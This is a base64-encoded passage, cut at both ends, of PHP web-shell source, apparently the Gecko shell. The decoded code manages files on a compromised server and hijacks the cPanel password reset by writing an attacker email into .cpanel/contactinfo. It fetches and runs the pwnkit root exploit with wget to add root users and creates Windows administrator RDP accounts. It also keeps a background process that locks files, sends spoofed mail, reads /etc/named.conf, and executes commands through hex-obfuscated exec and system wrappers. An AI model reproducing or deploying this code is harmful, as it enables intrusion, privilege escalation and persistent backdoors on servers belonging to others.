AgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1zZWxlY3QnXSA9PSAndW56aXAnKSB7CiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdCkgewogICAgICAgICAgICAkcmVwbCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGZ1bmdzaVswXSgpKTsgLy8gVW50dWsgV2luZG93cyBQYXRoCiAgICAgICAgICAgICRmZCA9ICRyZXBsIC4gIi8iIC4gJGl0OwogICAgICAgICAgICBpZiAoRXh0cmFjdEFyY2hpdmUoJGZkLCAkcmVwbCAuICcvJykgPT0gdHJ1ZSkgewogICAgICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tc2VsZWN0J10gPT0gJ3ppcCcpIHsKICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0KSB7CiAgICAgICAgICAgICRyZXBsID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkZnVuZ3NpWzBdKCkpOyAvLyBVbnR1ayBXaW5kb3dzIFBhdGgKICAgICAgICAgICAgJGZkID0gJHJlcGwgLiAiLyIgLiAkaXQ7CiAgICAgICAgICAgIGlmICgkZnVuZ3NpWzNdKCRmZCkpIHsKICAgICAgICAgICAgICAgIGNvbXByZXNzVG9aaXAoJGZkLCBwYXRoaW5mbygkZmQsIFBBVEhJTkZPX0ZJTEVOQU1FKSAuICIuemlwIik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSkgewogICAgaWYgKCRfUE9TVFsncmVzZXRjcCddID09IHRydWUpIHsKICAgICAgICAkZW1haWxDcCA9ICRfUE9TVFsncmVzZXRjcCddOwogICAgICAgICRwYXRoMGNwID0gZGlybmFtZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTsKICAgICAgICAkcGF0aGNwID0gJHBhdGgwY3AgLiAiLy5jcGFuZWwvY29udGFjdGluZm8iOwogICAgICAgICRjb250YWN0aW5mbyA9ICcKImVtYWlsIiA6ICInIC4gJGVtYWlsQ3AgLiAnIgogICAgICAgICc7CiAgICAgICAgaWYgKCRmdW5nc2lbM10oJHBhdGhjcCkpIHsKICAgICAgICAgICAgJGZ1bmdzaVsyOF0oJHBhdGhjcCwgJGNvbnRhY3RpbmZvKTsKICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9JyAuICRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddIC4gJzovLycgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICc6MjA4My9yZXNldHBhc3M/c3RhcnQ9MSI+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9CiAgICBpZiAoJF9QT1NUWydjcmVhdGVfZm9sZGVyJ10gPT0gdHJ1ZSkgewogICAgICAgICROYW1hRm9sZGVyID0gJGZ1bmdzaVsxMl0oJF9QT1NUWydjcmVhdGVfZm9sZGVyJ10pOwogICAgICAgIGlmICgkTmFtYUZvbGRlcikgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2NyZWF0ZV9maWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRuYW1hRmlsZSA9ICRmdW5nc2lbMTNdKCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSk7CiAgICAgICAgaWYgKCRuYW1hRmlsZSkgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3JlbmFtZUZpbGUnXSA9PSB0cnVlKSB7CiAgICAgICAgJHJlbmFtZUZpbGUgPSAkZnVuZ3NpWzE1XSh1bngoJF9HRVRbJ3JlJ10pLCAkX1BPU1RbJ3JlbmFtZUZpbGUnXSk7CiAgICAgICAgaWYgKCRyZW5hbWVGaWxlKSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnY2hGaWxlJ10pIHsKICAgICAgICAkY2hGaWxlcyA9ICRmdW5nc2lbMzBdKHVueCgkX0dFVFsnY2gnXSksICRfUE9TVFsnY2hGaWxlJ10pOwogICAgICAgIGlmICgkY2hGaWxlcykgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmIChpc3NldCgkX1BPU1RbJ2FkZC11c2VybmFtZSddKSAmJiBpc3NldCgkX1BPU1RbJ2FkZC1wYXNzd29yZCddKSkgewogICAgICAgIGlmICghJGZ1bmdzaVszXSgncHdua2l0JykpIHsKICAgICAgICAgICAgY21kKCd3Z2V0IGh0dHBzOi8vZ2l0aHViLmNvbS9NYWRFeHBsb2l0cy9Qcml2ZWxlZ2UtZXNjYWxhdGlvbi9yYXcvbWFpbi9wd25raXQgLU8gcHdua2l0Jyk7CiAgICAgICAgICAgIGNtZCgnY2htb2QgK3ggcHdua2l0Jyk7CiAgICAgICAgICAgIGNtZCgnLi9wd25raXQgImlkIiA+IC5tYWQtcm9vdCcpOwogICAgICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJGZ1bmdzaVswXSgpKSAuICcmcm9vdGluZz1UcnVlIj4nOwogICAgICAgIH0gZWxzZSBpZiAoJGZ1bmdzaVszXSgnLm1hZC1yb290JykpIHsKICAgICAgICAgICAgJHJlc3BvbnNlID0gJGZ1bmdzaVsxMV0oJy5tYWQtcm9vdCcpOwogICAgICAgICAgICAkcl90ZXh0ID0gZXhwbG9kZSgiICIsICRyZXNwb25zZSk7CiAgICAgICAgICAgIGlmICgkcl90ZXh0WzBdID09ICJ1aWQ9MChyb290KSIpIHsKICAgICAgICAgICAgICAgICR1c2VybmFtZSA9ICRfUE9TVFsnYWRkLXVzZXJuYW1lJ107CiAgICAgICAgICAgICAgICAkcGFzc3dvcmQgPSAkX1BPU1RbJ2FkZC1wYXNzd29yZCddOwogICAgICAgICAgICAgICAgY21kKCcuL3B3bmtpdCAidXNlcmFkZCAnIC4gJHVzZXJuYW1lIC4gJyA7IGVjaG8gLWUgIicgLiAkcGFzc3dvcmQgLiAnXG4nIC4gJHBhc3N3b3JkIC4gJyIgfCBwYXNzd2QgJyAuICR1c2VybmFtZSAuICciJyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJGZ1bmdzaVswXSgpKSAuICcmYWRkdXNlcj1mYWlsZWQiPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnbG9ja2ZpbGUnXSA9PSB0cnVlKSB7CiAgICAgICAgJGZsZXNOYW1lID0gJF9QT1NUWydsb2NrZmlsZSddOwogICAgICAgICRUbXBOYW1lcyA9ICRmdW5nc2lbMzFdKCk7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0JykpIHsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0LWZpbGUnKSk7CiAgICAgICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpKTsKICAgICAgICB9CiAgICAgICAgbWtkaXIoJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMiKTsKICAgICAgICBjbWQoImNwICRmbGVzTmFtZSAiIC4gJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMvLiIgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICBjbWQoImNobW9kIDQ0NCAiIC4gJGZsZXNOYW1lKTsKICAgICAgICAkaGFuZGxlciA9ICcKPD9waHAKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIDApOwp3aGlsZSAoVHJ1ZSl7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpKXsKICAgICAgICBta2RpcigiJyAuICRmdW5nc2lbMF0oKSAuICciKTsKICAgIH0KICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkZmxlc05hbWUgLiAnIikpewogICAgICAgICR0ZXh0ID0gJyAuICRmdW5nc2lbMzNdIC4gJyhmaWxlX2dldF9jb250ZW50cygiJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0LWZpbGUnKSAuICciKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkZmxlc05hbWUgLiAnIiwgJyAuICRmdW5nc2lbMzJdIC4gJygkdGV4dCkpOwogICAgfQogICAgaWYgKGdlY2tvX3Blcm0oIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkZmxlc05hbWUgLiAnIikgIT0gMDQ0NCl7CiAgICAgICAgY2htb2QoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkZmxlc05hbWUgLiAnIiwgMDQ0NCk7CiAgICB9IAogICAgaWYgKGdlY2tvX3Blcm0oIicgLiAkZnVuZ3NpWzBdKCkgLiAnIikgIT0gMDU1NSl7CiAgICAgICAgY2htb2QoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIiwgMDU1NSk7CiAgICB9Cn0KCmZ1bmN0aW9uIGdlY2tvX3Blcm0oJGZsZW5hbWUpewogICAgcmV0dXJuIHN1YnN0cihzcHJpbnRmKCIlbyIsIGZpbGVwZXJtcygkZmxlbmFtZSkpLCAtNCk7Cn0KJzsKICAgICAgICAkaG5kbGVycyA9ICRmdW5nc2lbMjhdKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOwogICAgICAgIGlmICgkaG5kbGVycykgewogICAgICAgICAgICBjbWQoUEhQX0JJTkFSWSAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAnID4gL2Rldi9udWxsIDI+L2Rldi9udWxsICYnKTsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydhZGQtcmRwJ10gPT0gVHJ1ZSkgewogICAgICAgICR1c2VyUkRQID0gJF9QT1NUWydhZGQtcmRwJ107CiAgICAgICAgJHBhc3NSRFAgPSAkX1BPU1RbJ2FkZC1yZHAtcGFzcyddOwogICAgICAgIGlmIChzdHJpc3RyKFBIUF9PUywgIldJTiIpKSB7CiAgICAgICAgICAgICRwcm9jUkRQID0gY21kKCJuZXQgdXNlciAiIC4gJHVzZXJSRFAgLiAiICIgLiAkcGFzc1JEUCAuICIgL2FkZCIpOwogICAgICAgICAgICBpZiAoJHByb2NSRFApIHsKICAgICAgICAgICAgICAgIGNtZCgibmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgIiAuICR1c2VyUkRQIC4gIiAvYWRkIik7CiAgICAgICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydtYWlsLWZyb20tc210cCddID09IFRydWUpIHsKICAgICAgICAkZW1haWxGcm9tID0gJF9QT1NUWydtYWlsLWZyb20tc210cCddOwogICAgICAgICRlbWFpbFRvID0gJF9QT1NUWydtYWlsLXRvLXNtdHAnXTsKICAgICAgICAkZW1haWxTdWJqZWN0ID0gJF9QT1NUWydtYWlsdG8tc3ViamVjdCddOwogICAgICAgICRtZXNzYWdlTWFpbCA9ICRfUE9TVFsnbWVzc2FnZS1zbXRwJ107CiAgICAgICAgJGhlYWRlcnNNYWlsID0gJ0Zyb206ICcgLiAkZW1haWxGcm9tIC4gJycgLiAiXHJcbiIgLgogICAgICAgICAgICAnUmVwbHktVG86ICcgLiAkZW1haWxGcm9tIC4gJycgLiAiXHJcbiIgLgogICAgICAgICAgICAnWC1NYWlsZXI6IFBIUC8nIC4gcGhwdmVyc2lvbigpOwogICAgICAgICRwcm9jTWFpbFNtVHAgPSBtYWlsKCRlbWFpbFRvLCAkZW1haWxTdWJqZWN0LCAkbWVzc2FnZU1haWwsICRoZWFkZXJzTWFpbCk7CiAgICAgICAgaWYgKCRwcm9jTWFpbFNtVHApIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0KfQoKaWYgKCRfR0VUWydyZXNwb25zZSddID09ICJzdWNjZXNzIikgewogICAgZWNobyAiPHNjcmlwdD4KU3dhbC5maXJlKHsKICAgIGljb246ICdzdWNjZXNzJywKICAgIHRpdGxlOiAnU3VjZXNzcy4uLicsCiAgICB0ZXh0OiAnRG9uZSBTdWNjZXNzIScsCiAgICBjb25maXJtQnV0dG9uQ29sb3I6ICcjMjIyNDJkJywKfSk8L3NjcmlwdD4iOwp9IGVsc2UgaWYgKCRfR0VUWydyZXNwb25zZSddID09ICJmYWlsZWQiKSB7CiAgICBlY2hvICI8c2NyaXB0PgpTd2FsLmZpcmUoewogICAgaWNvbjogJ2Vycm9yJywKICAgIHRpdGxlOiAnRmFpbGVkLi4uJywKICAgIHRleHQ6ICdTb21ldGhpbmcgd3JvbmchJywKICAgIGNvbmZpcm1CdXR0b25Db2xvcjogJyMyMjI0MmQnLAp9KQogICAgPC9zY3JpcHQ+IjsKfQoKCmZ1bmN0aW9uIHN1Y2Nlc3MoKQp7CiAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCkpIC4gJyZyZXNwb25zZT1zdWNjZXNzIj4nOwp9CmZ1bmN0aW9uIGZhaWxlZCgpCnsKICAgIGVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7dXJsPT9kPScgLiBoeCgkR0xPQkFMU1snZnVuZ3NpJ11bMF0oKSkgLiAnJnJlc3BvbnNlPWZhaWxlZCI+JzsKfQoKZnVuY3Rpb24gZm9ybWF0U2l6ZSgkYnl0ZXMpCnsKICAgICR0eXBlcyA9IGFycmF5KCc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5LQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+TUI8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPkdCPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5UQjwvc3Bhbj4nKTsKICAgIGZvciAoJGkgPSAwOyAkYnl0ZXMgPj0gMTAyNCAmJiAkaSA8IChjb3VudCgkdHlwZXMpIC0gMSk7ICRieXRlcyAvPSAxMDI0LCAkaSsrKTsKICAgIHJldHVybiAocm91bmQoJGJ5dGVzLCAyKSAuICIgIiAuICR0eXBlc1skaV0pOwp9CgoKZnVuY3Rpb24gaHgoJG4pCnsKICAgICR5ID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJG4pOyAkaSsrKSB7CiAgICAgICAgJHkgLj0gZGVjaGV4KG9yZCgkblskaV0pKTsKICAgIH0KICAgIHJldHVybiAkeTsKfQpmdW5jdGlvbiB1bngoJHkpCnsKICAgICRuID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJHkpIC0gMTsgJGkgKz0gMikgewogICAgICAgICRuIC49IGNocihoZXhkZWMoJHlbJGldIC4gJHlbJGkgKyAxXSkpOwogICAgfQogICAgcmV0dXJuICRuOwp9CgpmdW5jdGlvbiBzdWdnZXN0X2V4cGxvaXQoKQp7CiAgICAkdW5hbWUgPSAkR0xPQkFMU1snZnVuZ3NpJ11bOF0oKTsKICAgICR4cGxvZCA9IGV4cGxvZGUoIiAiLCAkdW5hbWUpOwogICAgJHhwbGQgPSBleHBsb2RlKCItIiwgJHhwbG9kWzJdKTsKICAgICRwbCA9IGV4cGxvZGUoIi4iLCAkeHBsZFswXSk7CiAgICByZXR1cm4gJHBsWzBdIC4gIi4iIC4gJHBsWzFdIC4gIi4iIC4gJHBsWzJdOwp9CmZ1bmN0aW9uIHMoKQp7CiAgICAkZDBtYWlucyA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bN10oIi9ldGMvbmFtZWQuY29uZiIsIGZhbHNlKTsKICAgIGlmICghJGQwbWFpbnMpIHsKICAgICAgICAkZG9tID0gIjxmb250IGNvbG9yPXJlZCBzaXplPTJweD5DYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXTwvZm9udD4iOwogICAgICAgICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjsKICAgIH0gZWxzZSB7CiAgICAgICAgJGNvdW50ID0gMDsKICAgICAgICBmb3JlYWNoICgkZDBtYWlucyBhcyAkZDBtYWluKSB7CiAgICAgICAgICAgIGlmIChAc3Ryc3RyKCRkMG1haW4sICJ6b25lIikpIHsKICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgIGlmIChzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMikgewogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgJGNvdW50Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRvbSA9ICIkY291bnQgRG9tYWluIjsKICAgIH0KICAgIHJldHVybiAkZG9tOwp9CgpmdW5jdGlvbiBjbWQoJGluLCAkcmUgPSBmYWxzZSkKewogICAgJG91dCA9ICcnOwogICAgdHJ5IHsKICAgICAgICBpZiAoJHJlKSAkaW4gPSAkaW4gLiAiIDI+JjEiOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjVceDc4XHg2NVx4NjMiKSkgewogICAgICAgICAgICBAJEdMT0JBTFNbJ2Z1bmdzaSddWzE2XSgkaW4sICRvdXQpOwogICAgICAgICAgICAkb3V0ID0gQGpvaW4oIlxuIiwgJG91dCk7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NjFceDczXHg3M1x4NzRceDY4XHg3Mlx4NzUiKSkgewogICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICBAJEdMT0JBTFNbJ2Z1bmdzaSddWzE3XSgkaW4pOwogICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NzlceDczXHg3NFx4NjVceDZkIikpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxOF0oJGluKTsKICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNceDY4XHg2NVx4NmNceDZjXHg1Zlx4NjVceDc4XHg2NVx4NjMiKSkgewogICAgICAgICAgICAkb3V0ID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzE5XSgkaW4pOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzBceDZmXHg3MFx4NjVceDZlIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2M1x4NmNceDZmXHg3M1x4NjUiKSkgewogICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJGYgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzIwXSgkaW4sICJyIikpKSB7CiAgICAgICAgICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgICAgICAgICB3aGlsZSAoIUBmZW9mKCRmKSkKICAgICAgICAgICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLCAxMDI0KTsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydmdW5nc2knXVsyMV0oJGYpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NzJceDZmXHg2M1x4NWZceDZmXHg3MFx4NjVceDZlIikpIHsKICAgICAgICAgICAgJHBpcGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgJHByb2Nlc3MgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzIzXSgkaW4gLiAnIDI+JjEnLCBhcnJheShhcnJheSgicGlwZSIsICJ3IiksIGFycmF5KCJwaXBlIiwgInciKSwgYXJyYXkoInBpcGUiLCAidyIpKSwgJHBpcGVzLCBudWxsKTsKICAgICAgICAgICAgJG91dCA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bMjJdKCRwaXBlc1sxXSk7CiAgICAgICAgfQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICB9CiAgICByZXR1cm4gJG91dDsKfQoKCmZ1bmN0aW9uIHdpbnB3ZCgpCnsKICAgIHJldHVybiBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRHTE9CQUxTWydmdW5nc2knXVswXSgpKTsKfQoKZnVuY3Rpb24gY29tcHJlc3NUb1ppcCgkc291cmNlRmlsZSwgJHppcEZpbGVuYW1lKQp7CiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKCiAgICBpZiAoJHppcC0+b3BlbigkemlwRmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSkgPT09IFRSVUUpIHsKICAgICAgICAkemlwLT5hZGRGaWxlKCRzb3VyY2VGaWxlLCBiYXNlbmFtZSgkc291cmNlRmlsZSkpOwogICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKZnVuY3Rpb24gcmVtb3ZlX3NsYXNoKCR2YWwpCnsKICAgICR0ZXggPSBzdHJfcmVwbGFjZSgiLyIsICIiLCAkdmFsKTsKICAgICR0ZXgxID0gc3RyX3JlcGxhY2UoIjoiLCAiIiwgJHRleCk7CiAgICAkdGV4MiA9IHN0cl9yZXBsYWNlKCJfIiwgIiIsICR0ZXgxKTsKICAgICR0ZXgzID0gc3RyX3JlcGxhY2UoIiAiLCAiIiwgJHRleDIpOwogICAgJHRleDQgPSBzdHJfcmVwbGFjZSgiLiIsICIiLCAkdGV4Myk7CiAgICByZXR1cm4gJHRleDQ7Cn0KCmZ1bmN0aW9uIHVubGlua0RpcigkZGlyKQp7CiAgICAkZGlycyA9IGFycmF5KCRkaXIpOwogICAgJGZpbGVzID0gYXJyYXkoKTsKICAgIGZvciAoJGkgPSAwOzsgJGkrKykgewogICAgICAgIGlmIChpc3NldCgkZGlyc1skaV0pKQogICAgICAgICAgICAkZGlyID0gICRkaXJzWyRpXTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBpZiAoJG9wZW5EaXIgPSBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgICAgIHdoaWxlICgkcmVhZERpciA9IEByZWFkZGlyKCRvcGVuRGlyKSkgewogICAgICAgICAgICAgICAgaWYgKCRyZWFkRGlyICE9ICIuIiAmJiAkcmVhZERpciAhPSAiLi4iKSB7CgogICAgICAgICAgICAgICAgICAgIGlmICgkR0xPQkFMU1snZnVuZ3NpJ11bMl0oJGRpciAuICIvIiAuICRyZWFkRGlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CgogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIgLiAiLyIgLiAkcmVhZERpcjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgoKCiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjRdKCRmaWxlKTsKICAgIH0KICAgICRkaXJzID0gYXJyYXlfcmV2ZXJzZSgkZGlycyk7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSB7CiAgICAgICAgJEdMT0JBTFNbJ2Z1bmdzaSddWzI1XSgkZGlyKTsKICAgIH0KfQoKZnVuY3Rpb24gcmVtb3ZlX2RvdCgkZmlsZSkKewogICAgJEZJTEVTID0gJGZpbGU7CiAgICAkcGNoID0gZXhwbG9kZSgiLiIsICRGSUxFUyk7CiAgICByZXR1cm4gJHBjaFswXTsKfQoKCmZ1bmN0aW9uIHdpbmRvd3NEcml2ZXIoKQp7CiAgICAkd2luQXJyID0gWwogICAgICAgICdBJywgJ0InLCAnQycsICdEJywgJ0UnLCAnRicsICdHJywgJ0gnLCAnSScsICdKJywgJ0snLCAnTCcsICdNJywgJ04nLCAnTycsICdQJywgJ1EnLCAnUicsICdTJywgJ1QnLCAnVicsICdXJywgJ1gnLCAnWScsICdaJwogICAgXTsKICAgIGZvcmVhY2ggKCR3aW5BcnIgYXMgJHdpbk51bSA9PiAkd2luVmFsKSB7CiAgICAgICAgaWYgKGlzX2Rpcigkd2luVmFsIC4gIjovIikpIHsKICAgICAgICAgICAgZWNobyAiPGEgc3R5bGU9J2NvbG9yOm9yYW5nZTsgZm9udC13ZWlnaHQ6Ym9sZDsnIGhyZWY9Jz9kPSIgLiBoeCgkd2luVmFsIC4gIjovIikgLiAiJz5bICIgLiAkd2luVmFsIC4gIiBdIDwvYT4mbmJzcDsiOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gbmFtYVBhbmphbmcoJHZhbHVlKQp7CiAgICAkbmFtYU55YSA9ICR2YWx1ZTsKICAgICRleHRlbnNpID0gcGF0aGluZm8oJHZhbHVlLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgaWYgKHN0cmxlbigkbmFtYU55YSkgPiAzMCkgewogICAgICAgIHJldHVybiBzdWJzdHIoJG5hbWFOeWEsIDAsIDMwKSAuICIuLi4iOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gJHZhbHVlOwogICAgfQp9CgpmdW5jdGlvbiBleHRyYWN0QXJjaGl2ZSgkYXJjaGl2ZUZpbGVuYW1lLCAkZXh0cmFjdFBhdGgpCnsKICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwoKICAgIGlmICgkemlwLT5vcGVuKCRhcmNoaXZlRmlsZW5hbWUpID09PSBUUlVFKSB7CiAgICAgICAgJHppcC0+ZXh0cmFjdF